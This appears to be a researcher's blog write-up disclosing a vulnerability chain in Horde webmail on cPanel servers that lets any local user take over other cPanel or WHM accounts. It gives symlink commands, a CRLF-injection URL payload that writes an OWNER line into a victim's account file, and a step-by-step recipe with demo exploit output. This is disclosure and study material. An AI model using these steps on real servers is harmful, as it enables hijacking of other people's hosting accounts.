Finding bugs PT II - Snooping your neighbor via... Horde? Owning every cPanel and WHM account on the box
How design issues in Horde and cPanel, when combined into 1 attack, allowed anyone with a cPanel account to take control of any other cPanel or WHM account on the server
The oldschool way to log into someone else's account: use their username, and their password.
The newschool way to log into someone else's account: use their username, and your password.
The backstory: On 03/06/2008 someone in #cPanel on Efnet mentioned something about a local root exploit in Horde. Apparently a large webhosting company had discovered a directory traversal and local file inclusion attack in Horde. They stated this could be used to leverage root access, although details were scarce at first. A developer at the Horde Project responded, criticizing the webhost for their lack of prior notification, and also stating that command execution was not reproducible.
root access should only be possible on systems where the server environment somehow provides a path from Horde to root, whether it's a direct path (e.g., running Horde as root), or via systems shared between Horde and root. For example, on cPanel servers:
- Horde ran as user:group cpanel:cpanel
- The files for phpMyAdmin were also owned (and thus, writable) by the cpanel user
- WHM provided a link for using phpMyAdmin, even to the root user
Thus, a flaw in Horde could be used to trojan files belonging to phpMyAdmin, which, if run by the root user, could end up executing arbitrary commands as root.
Curiosity getting the best of me, I decided to go bug hunting. Almost immediately a trivial, yet all too common flaw was discovered in Horde. With a little more poking and prodding, I figured out a way that allowed any local cPanel user to access anyone else's cPanel or WHM account. What follows are the details putting that together from start to finish.
Kicking things off, the first plan of action was to manually browse each file in the /usr/local/cpanel/base/horde directory and observe the results (e.g., output sent to the browser, changes to the filesystem, etc).
[root@host ~]# ls -al /usr/local/cpanel/base/horde/ total 148 drwxr-xr-x 21 root wheel 4096 Mar 8 2008 ./ drwxr-xr-x 19 root root 4096 Jul 6 20:14 ../ -rw-r--r-- 1 root wheel 23244 Aug 21 2006 COPYING -rw-r--r-- 1 root wheel 3546 Oct 18 2005 README drwxr-xr-x 5 root wheel 4096 Mar 7 2008 admin/ drwxr-xr-x 2 root wheel 4096 Jun 24 13:25 config/ drwxr-xr-x 2 root wheel 4096 Mar 7 2008 docs/ drwxr-xr-x 11 root wheel 4096 Mar 8 2008 imp/ -rw-r--r-- 1 root wheel 3709 Jan 2 2007 index.php drwxr-xr-x 11 root wheel 4096 Sep 12 2006 ingo/ drwxr-xr-x 14 root wheel 4096 Sep 6 2007 jonah/ drwxr-xr-x 2 root wheel 4096 Mar 7 2008 js/ drwxr-xr-x 11 root wheel 4096 Apr 23 2008 kronolith/ drwxr-xr-x 12 root wheel 4096 Mar 7 2008 lib/ drwxr-xr-x 43 root wheel 4096 Mar 7 2008 locale/ -rw-r--r-- 1 root wheel 7255 Jan 2 2007 login.php drwxr-xr-x 11 root wheel 4096 Mar 8 2008 mnemo/ drwxr-xr-x 11 root wheel 4096 Mar 8 2008 nag/ drwxr-xr-x 2 root wheel 4096 Mar 7 2008 po/ -rw-r--r-- 1 root wheel 3236 Mar 9 2007 rpc.php drwxr-xr-x 5 root wheel 4096 Mar 7 2008 scripts/ drwxr-xr-x 10 root wheel 4096 Mar 7 2008 services/ -rw-r--r-- 1 root wheel 2495 Jan 2 2007 signup.php drwxr-xr-x 17 root wheel 4096 Mar 7 2008 templates/ -rw-r--r-- 1 root wheel 16255 Feb 16 2007 test.php drwxr-xr-x 28 root wheel 4096 Mar 7 2008 themes/ drwxr-xr-x 10 root wheel 4096 Sep 12 2006 turba/ drwxr-xr-x 2 root wheel 4096 Mar 7 2008 util/
As if it wasn't strange enough that a webmail application could supposedly be used to get root, all it took was browsing to 1 URL to discover a bug that would ultimately allow any local cPanel user to take control of any other cPanel or WHM account on the machine: https://example.com:2096/horde/admin
This is what /tmp looked like before browsing to that URL:
[root@host ~]# ls -al /tmp/ total 2 drwxrwxrwt 2 root root 1024 Mar 6 15:38 . drwxr-xr-x 23 root root 1024 Mar 6 15:08 .. srwxrwxrwx 1 mysql mysql 0 Mar 6 15:06 mysql.sock
and this is what it looked like afterwards:
[root@host ~]# ls -al /tmp/ total 3 drwxrwxrwt 2 root root 1024 Mar 6 15:38 . drwxr-xr-x 23 root root 1024 Mar 6 15:08 .. -rw-r--r-- 1 cpanel cpanel 116 Mar 6 15:38 horde_32002.log srwxrwxrwx 1 mysql mysql 0 Mar 6 15:06 mysql.sock
Note the user:group on the horde_32002.log file: cpanel:cpanel. Next I removed the horde_32002.log file and repeated the test. The same file was written to /tmp. Now it was apparent that the filename was not being randomly generated, and was in fact always going to be the same. What are the odds that this statically named file can be used in a useful symlink attack?
[root@host ~]# rm -f /tmp/horde_32002.log [user@host /tmp]$ ln -s /usr/local/cpanel/base/horde/config/.htaccess horde_32002.log // Access https://example.com:2096/horde/admin [user@host /tmp]$ cat /usr/local/cpanel/base/horde/config/.htaccess Deny from all Mar 06 15:41:26 HORDE [emergency] [horde] Forbidden. [on line 16 of "/usr/local/cpanel/base/horde/admin/index.php"]
Great. Now we know that:
- Horde writes non-random file names to a world writable location
- Horde runs under the "cpanel" user account
- A symlink attack lets us append data to arbitrary files writable by uid or gid "cpanel"
We still need to find out 2 more things to make this a worthwhile attack:
- Can we control the appended data?
- Are there any files writable by uid or gid "cpanel" that we could have fun with?
First, a note was made of all files and directories owned by the user or group "cpanel":
[root@host ~]# find / -user cpanel -o -group cpanel 2>/dev/null
The output from that command today will differ from what it used to be, as changes have since been made to the way that Horde, phpMyAdmin, phpPgAdmin, and Roundcube operate on cPanel servers.
Now we needed to figure out if there was a way that we could control the data that is placed inside the horde_32002.log file. If so, this would mean that we could append whatever data we wanted to a file that was writable by uid or gid "cpanel". The hunt was on. This part took a few minutes but it wasn't long before a way was found to control the log file output.
If you have access to a cPanel server, you can play along at home:
First, log into Horde, then go here: https://example.com:2096/horde/services/obrowser/
You should see a screen that shows these 3 links:
Let's see what happens when we pass our own value to the path variable: https://example.com:2096/horde/services/obrowser/?path=TEST
You should see the following:
A fatal error has occurred The method "browse" is not defined in the API for TEST. Details have been logged for the administrator.
The "details have been logged for the administrator"? Nice! Note that previously this would have been logged to /tmp/horde_32002.log (or /tmp/horde_0.log). Today it logs to /var/cpanel/horde/log/horde_0.log as user:group cpanelhorde:cpanelhorde.
Let's see what the log says:
[root@host ~]# cat /var/cpanel/horde/log/horde_0.log Jul 10 16:08:43 HORDE [emergency] [horde] The method "browse" is not defined in the API for TEST. [on line 33 of "/usr/local/cpanel/base/horde/services/obrowser/index.php"]
Did you see it? There's our input - "TEST". Now we still need to find a file that is writable by the cpanel user or group, and that is useful to us. It turns out that the local cpanel user files in /var/cpanel/users are (were?) owned and writable by the cpanel user. On my test box, one file is owned by the cpanel user, and the other is owned by root. I'm not sure of the reason for this discrepancy.
Looking at a random /var/cpanel/users/$username file, there are 2 lines that look interesting: the USER line, and the OWNER line. The USER is simply the username of the account, and the OWNER is the username which owns the account (e.g., root, or the username of a reseller).
As luck would have it, if there exists a duplicate OWNER line in the user config file, cPanel will use the last one. This means that we can craft this duplicate line with an OWNER of our choice via the following URL:
https://example.com:2096/horde/services/obrowser/?path=%0d%0aOWNER=me%0a
Notice how CRLF (%0d%0a) is used to place OWNER=me on its own line:
[root@host ~]# cat /var/cpanel/horde/log/horde_0.log Jul 10 19:28:16 HORDE [emergency] [horde] The method "browse" is not defined in the API for OWNER=me . [on line 33 of "/usr/local/cpanel/base/horde/services/obrowser/index.php"]
Now the stage was set for owning any and every other control panel user on the box, including all of the resellers. Back when the horde log was created at /tmp/horde_0.log, you could append those 3 lines to anyone's cPanel user file via a symlink attack:
[user@host /tmp]$ ln -s /var/cpanel/users/victim horde_0.log
Then you would issue the request to horde/services/obrowser/?path= as shown above, replacing "me" with your username.
One final obstacle remained, however. Now that /var/cpanel/users/victim was modified, we still needed a way to update /etc/trueuserowners. That file is user:group root:root, 0644. Was this the end of the road? All that effort for nothing? Not a chance:
[user@host ~]$ /usr/local/cpanel/bin/domainwrap DEL XXXXXXXX
"XXXXXXXX" can be anything.
Now that /etc/trueuserowners was updated, we could log into the victim account with their username and our own password. Resellers could even log into other reseller accounts.
Putting it all together for an automated attack:
- Authenticate to cpsrvd first via the webmail port
- Send a GET to /horde/index.php in order to obtain the Horde session ID
- Send a GET to /horde/login.php?Horde=$session_id in order to obtain the Horde auth key, where $session_id is the session id you obtained in the previous step
- Obtain a new Horde session id, by POSTing the current session id and auth key, along with your Horde user credentials, to /horde/login.php:
url=&horde_user=username%40example.com&horde_pass=$password_horde&new_lang=en_US
- Symlink the Horde log to the victim's cPanel user file
- Issue a GET to /horde/services/obrowser/?path=%0d%0aOWNER=$ENV{'USER'}%0a
- Run /usr/local/cpanel/bin/domainwrap DEL XXXXXXXX
- Then log into the victim account with their username and your password
All in all it took perhaps 15 seconds or so, and looked like this:
[user@host ~]$ ./11.19.1-DEMO_21586-horde_cPanel_account_hijack.pl Usage: ./11.19.1-DEMO_21586-horde_cPanel_account_hijack.pl <victim username>
[user@host ~]$ ./11.19.1-DEMO_21586-horde_cPanel_account_hijack.pl stoled [+] Logging into cPanel webmail....: done [+] Grabbing Horde session ID......: e27950a13f305bf30c5ac2449455d8d5 [+] Grabbing Horde auth key........: 6d3adfce63f24aff1d0480baa54eff84 [+] Grabbing new Horde session ID..: f90a116839cf27b871e7ea78d2851c44 [+] Creating the symlink...........: done [+] Sending the evil request.......: done [+] Updating /etc/trueuserowners...: done [+] Verifying control of account...: done You are now in control of the user stoled